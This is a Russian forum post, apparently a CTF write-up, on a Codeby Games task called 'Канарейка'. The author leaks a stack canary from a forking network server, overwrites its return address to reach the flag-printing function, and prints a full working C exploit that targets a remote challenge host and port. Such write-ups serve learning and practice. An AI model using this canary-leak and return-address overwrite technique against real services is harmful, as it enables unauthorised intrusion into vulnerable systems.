• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Codeby Games Решение таска - Канарейка [Writeup]

xverizex

Green Team
29.12.2022
24
11
BIT
194
Канарейка сразу же с первого прочтения даёт понять, что там будет защита с невозможностью переполнить буфер. Решил взять эту задачу и посмотреть что из этого выйдет. В задаче дана серверная программа, которую нужно как ни странно взломать. Если взлом удастся, то программа прочитает из переменной окружения флаг. Я запустил radare2 и начал исследовать код. Оказалось, что он создает форк при новом подключении и если будет искажение стека, то дочерний процесс рухнет. Мы отправимся в функцию hello и будем её исследовать.
Я запустил сервер с портом 3333 и подключился через nc к нему. После того как подключился, с помощью radare2 я приаттачился к дочернему процессу. Дочерний процесс завис на функции recv и можно было посмотреть состояния регистров. Если кто не знает, то в стеке никогда нет мусора. К примеру, если у нас такой код.
C:
void a () {
    int a = 4;
}

void b () {
    int b;
}
Если мы вызовем сначала функцию 'a', а потом 'b', то в функции 'b' у переменной b будет значение 4, так как в предыдущем адресе в стеке сохранилось число 4.
Чтобы удостовериться в том, что это верно и для этой программы, я в каждом подключении снимал отпечатки регистров. Всего было три подключения, одно подключение вызвало порчу стека.

Screenshot from 2024-04-17 04-10-36.png


Как видно из трёх разных подключений, все три имели одинаковые значения регистров.
Давайте теперь посмотрим на код в начале функции.

Screenshot from 2024-04-17 04-19-49.png


Всего для стека выделяется 0x410 байт. По адресу 0x401350 мы видим [rbp - 0x3f0], - это наш указатель на буфер, который сервер принимает от клиента. По адресу 0x40134a есть [rbp - 8], это канарейка, защита от переполнения буфера. Но прикол в том, recv принимает 0x400, то есть 1024 байта. 0x3f0 - 8 = 0x3e0, то есть 1000. Стек не испортится, если мы отправим 1000 байт, вместо доступных 1024.

Screenshot from 2024-04-17 04-22-50.png


Также он после того как принял буфер от клиента, ищет символ '\n' и отсекает его и на месте него ставит ноль. Получается, что буфер обрезается по этот индекс.

Screenshot from 2024-04-17 04-27-25.png


Также ставится в [rbp - 0x3fc] ноль. Если тут будет стоять 1, то флаг напечатается.

Первая идея была отправить 1024 байта на сервер как 'AAAAAA', чтобы процесс убился, а потом отправить 'AA' к примеру и он возвратит нам полную строку вместе с канарейкой. Но такое мне никак не удавалось сделать. Всё время возвращалось корректное число символов. Но в данном сервере стек очищался и при каждом запуске становился как новенький. Значит нужно было искать другой подход.

Исследуя дальше, я заметил, что канарейка прописана в двух местах в памяти. Тогда я подсчитал сколько байт нужно до канарейки и забросил туда буфер.

Screenshot from 2024-04-17 06-04-05.png


После 41 41 41 начинается канарейка 1c 6f 9f 1a 6b 79 5e. Она то в ответе и возвращается. Далее надо было узнать насколько хватает стереть буфер, вдруг будет возможно перезаписать адрес возврата из функции, чтобы он запускал сразу вывод флага! Так и получилось. После проб и ошибок я написал программу на C, которая выводит флаг.

Если на локальной машине всё работало нормально, то на удалённой работало вообще не так как задумывалось.

Вот скрин того, что на локальной машине отрабатывает.

Screenshot from 2024-04-17 07-38-52.png


Но на локальной машине тоже не сразу отрабатывает, так что я решил несколько раз запустить на удаленке и попытать удачу. Но на удаленке не сработало. Тогда я пошел спать, так как были почти сутки как я не сплю.
Поспав 5 часов я переписал exploit немного. Самая главная часть была в том, что смещения в стеке различались между локальной и удаленной машиной. Если на локальной хватало отправить 969 байт, то на удаленной мне пришлось подобрать каждый раз прибавляя 8. В итоге подошла вот такая комбинация.
int len = 969 + 8 + 8 + 8 + 8;
В итоге мы получили вот такое чудо.

Screenshot from 2024-04-17 14-33-38.png


Выкладываю код exploit. Возможно для получения флага придется запустить несколько раз, потому что канарейку не каждый раз получалось получить.

C:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>

int sock;

static void reconnect ()
{
    if (sock > 0)
        close (sock);

    sock = socket (AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in s;
    s.sin_family = AF_INET;
#if 0
    inet_aton ("127.0.0.1", &s.sin_addr);
    s.sin_port = htons (3333);
#else
    inet_aton ("62.173.140.174", &s.sin_addr);
    s.sin_port = htons (27500);
#endif

    connect (sock, (const struct sockaddr *) &s, sizeof (s));
    sleep (1);
}

int main (int argc, char **argv)
{

    char buf[1025];
    char serv[16384];
    char ready[512];
    uint8_t canary[9];
    int addr = 0;

    int len = 969 + 8 + 8 + 8 + 8;
    for (int stage = 0; stage < 2; stage++) {
        reconnect ();
        int r = read (sock, serv, 16384);
        if (r >= 0) {
            serv[r] = 0;
            //printf ("%s", serv);
        } else {
            printf ("error line: %d\n", __LINE__);
            break;
        }
        memset (buf, 0, 1025);
        //printf ("Ready?\n");
        //fgets (ready, 512, stdin);
        switch (stage) {
            case 0:
                memset (buf, 'A', len);
                //printf ("\n%s\n", buf);
                printf ("[+] stage 0\n");
                write (sock, buf, len);
                break;
            case 1:
                printf ("[+] stage 1\n");
                memset (buf, 'A', 1024);
                /* address canary */
                addr = 1000;
                for (int i = 0; i < 8; i++) {
                    buf[addr++] = canary[i];   
                }

                addr = 1000 - 32;
                for (int i = 0; i < 8; i++) {
                    buf[addr++] = canary[i];   
                }

                /* address flag */
                buf[1016] = 0x01;
                buf[1017] = 0x14;
                buf[1018] = 0x40;
                buf[1019] = 0x00;
                buf[1020] = 0x00;
                buf[1021] = 0x00;
                buf[1022] = 0x00;
                buf[1023] = 0x00;
                write (sock, buf, 1024);
                break;
        }

        r = read (sock, serv, 7);
        serv[r] = 0;

        r = read (sock, serv, 16384);
        if (r > 0) {
            serv[r] = 0;
            char *flag = strstr (serv, "CODEBY");
            if (flag) {
                printf ("[+] Flag: %s\n", flag);
            } else {
                //printf ("%s\n", serv);
            }
            if (stage == 0) {
                uint8_t *s = serv;
                while (*s == 'A') s++;
                int indc = 0;
                canary[indc++] = 0;
                printf ("[+] Found canary: ");
                for (int i = 0; i < 7; i++) {
                    canary[indc++] = *s;
                    printf ("%02x ", *s++);
                }
                printf ("\n");
            }
        }

        if (stage == 1) {
            r = read (sock, serv, 16384);
            if (r > 0) {
                serv[r] = 0;
            }
        }
    }
}

Задача была весьма интересной. Я рад таким задачам, где можно поломать голову и почувствовать себя хакером! ))

Всем спасибо!
 
Последнее редактирование:
  • Нравится
Реакции: Luxkerr
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!